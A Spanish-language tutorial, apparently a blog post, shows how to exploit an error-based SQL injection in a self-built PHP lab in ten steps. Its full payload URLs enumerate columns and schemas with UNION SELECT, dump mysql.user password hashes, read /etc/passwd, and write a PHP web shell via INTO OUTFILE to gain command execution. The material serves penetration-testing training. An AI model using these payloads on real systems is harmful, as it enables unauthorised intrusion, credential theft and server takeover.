5 minute read

En el presente artículo estaré mostrando como podemos abusar de una inyección SQL basada en error para poder enumerar información sensible de las bases de datos con las que cuenta el servicio web y finalmente obtener ejecución remota de comandos (RCE) en 10 pasos.

¿Por qué sucede?

Una inyección SQL ocurre cuando la entrada del usuario se ingresa en la cadena de consulta SQL sin desinfectar o filtrar adecuadamente la entrada.

Laboratorio

Para poder realizar la práctica usted puede dirigirse al siguiente enlace que le reaccionará a la plataforma Tryhackme donde yo cree una sala la cual abarca todo lo que veremos a continuación, o puede configurar usted mismo su propio laboratorio realizando lo siguiente:

  1. Crear la carpeta SQL en /var/www/html/.
  2. Asignar permisos de escritura a otros a la carpeta SQL (chmod o+w SQL)
  3. Descargar el proyecto.
  4. Iniciar el servicio mysql (sudo service mysql start)
  5. Iniciar un servicio web (sudo service apache2 start)
  6. seguir los pasos que se indican en sistema.sql
  7. Modificar el fichero conexion.php con los datos del fichero sistema.sql, solo si es necesario.

Una vez realizado todos los pasos nos podremos dirigir a http://localhost/SQL/ y ahí podremos registrar nuevos usuarios.

Panel principal

NOTA: Para realizar este ejercicio nos guiaremos del siguiente cheatsheet.

Explotación

Como había mencionado con anterioridad necesitaremos de 10 pasos para lograr extraer información y obtener RCE.

1. Error de sintaxis

En este paso trataremos de buscar en que punto podemos ocasionar un error de sintaxis con caracteres como: ' ) ; , ".

http://localhost/SQL/search.php?name_search='

Error de syntaxis

2. Número de columnas

Para este paso una vez que se sabe donde ocurre un error de sintaxis, deberemos enumerar la cantidad de columnas con las que cuenta la base de datos actual, esto lo podremos lograr con la cláusula ORDER BY y pasándole un número hasta dejar de obtener un error (Unknow column).

http://localhost/SQL/search.php?name_search=' ORDER BY 100-- -
http://localhost/SQL/search.php?name_search=' ORDER BY 4-- -

Numero de columnas

Vemos que al momento de indicarle el número 4 el error deja de presentarse y nos muestra la tabla de usuarios.

3. Versión de la base de datos

Es necesario saber con qué versión de base de datos se está trabajando para poder orientar nuestras consultas SQLi de mejor manera, incluso ver si la versión es vulnerable a algún exploit público.

Esto lo podremos realizar con la cláusula UNION e indicándole @@version tomando en cuenta el número de columnas encontradas con anterioridad, ya que si no le pasamos el mismo número de columnas en nuestra consulta tendremos un error.

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,@@version,NULL-- - 
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,@@version,NULL,NULL-- -

Version

4. Extraer todas las bases de datos en el sistema

Ya en este punto podemos listar todas las bases de datos que contiene el servicio web. Esto lo podemos lograr abusando de la base de datos INFORMATION_SCHEMA la cual contiene metadatos sobre todas las base de datos y sus tablas presentes en el servidor.

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,SCHEMA_NAME,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -

Base de datos

5. Enumerar la base de datos actual

Es importante saber con qué base de datos se está trabajando para poder decidir si vale la pena seguirla enumerando o tal vez saltar a otras.

Para enumerar la base de datos actual usaremos database().

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,database(),NULL,NULL-- -

Base de datos actual

6. Enumerar las tablas

Como ya sabemos que base de datos es la actual, ahora podríamos enumerar las tablas con las que esta cuenta, para realizarlo nuevamente nos aprovecharemos de INFORMATION_SCHEMA.

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,table_name,NULL,NULL FROM INFORMATION_SCHEMA.tables WHERE table_schema="sistema"-- -

Base de datos actual

7. Enumerar las columnas

En este punto ya tenemos el nombre de la base actual (sistema), el nombre de la tabla (datos), por lo cual lo que sigue es saber con qué columnas cuenta nuestra tabla.

Nuevamente, nos aprovecharemos de INFORMATION_SCHEMA.

localhost/SQL/search.php?name_search=' UNION SELECT NULL,column_name,NULL,NULL FROM INFORMATION_SCHEMA.columns WHERE table_schema="sistema" AND table_name="datos"-- -

Columnas

El siguiente paso será obtener los datos, pero si notamos en la imagen las columnas que obtuvimos son las mismas que ya muestran el sitio web, así que no obtendríamos más información de la que estamos viendo en esta base de datos, por lo cual podríamos enumerar una base de datos diferente, para lo cual repetiré el paso 6 y 7 nuevamente con una base de datos distinta.

Si recordamos en el paso 4 aparte de listar la base de datos sistema, también se nos mostraba otras, para este caso yo enumerare la base de datos mysql.

  • Enumerar las tablas de la base de datos mysql

    Para realizar esta acción repetiremos el paso 6 pero cambiando los datos.

    http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,table_name,NULL,NULL FROM INFORMATION_SCHEMA.tables WHERE table_schema="mysql"-- -
    

    Tablas de mysql

    Ya que sabemos las tablas de la base de datos mysql, procederé a enumerar una de ellas en este caso la tabla user.

  • Enumerar las columnas de la tabla user de la base de datos mysql

    Para realizar esta acción repetiremos el paso 7 pero cambiando los datos.

    http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,column_name,NULL,NULL from INFORMATION_SCHEMA.columns WHERE table_schema="mysql" AND table_name="user"-- -
    

    Columnas de mysql

8. Extraer los datos

Ya en este punto nada más nos hace falta extraer los datos, lo cual podemos realizarlo con la siguiente consulta respetando el número de columnas con las que cuenta la tabla de la actual base de datos sistema.

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,concat(User,0x3a,Password),NULL,NULL FROM mysql.user-- -

Datos

Podemos notar que obtenemos lo solicitado en nuestra consulta (User,Password), con esta información podríamos hacer uso de herramientas como hashid para saber el tipo de hash y hashcat para intentarlo romper.

NOTA: Sabemos de antemano que estos datos pertenecen a los creados a la hora de crear nuestro laboratorio.

NOTA: Recordemos que ahora estamos realizando la consulta bajo la base de datos mysql.

9. Lectura de archivos

Otra cosa muy importante a probar cuando encontramos una inyección SQL es probar si somos capaces de leer ficheros alojados en el sistema. Esto podríamos lograrlo con LOAD_FILE().

http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,LOAD_FILE("/etc/passwd"),NULL,NULL-- -

passwd

10. Escritura de archivos

Finalmente probaremos si tenemos permisos de escritura sobre el sistema. Lo podríamos hacer con INTO OUTFILE().

Con la siguiente línea estamos escribiendo una sentencia php que nos permita ejecutar cualquier comando sobre el sistema por medio del parámetro cmd.

http://localhost/SQL/search.php?name_search=' union select "NULL",("<?php system($_GET['cmd']) ?>"),"NULL","NULL" INTO OUTFILE "/var/www/html/SQL/shell.php"-- -

Si no tenemos ningún error y sobre todo si contamos con permisos de escritura sobre la ruta en la cual estamos depositando nuestro fichero el sitio web no debería mostrar nada como podemos observar a continuación.

Escribir archivo

Una vez ejecutado lo anterior nos podremos dirigir a la ruta donde alojamos nuestro fichero para poder ejecutar comandos.

view-source:http://localhost/SQL/shell.php?cmd=ls -la

rce

NOTA: Ahora que ya somos capaces de ejecutar cualquier comando sobre el sistema recuerden que se podría obtener una conexión inversa.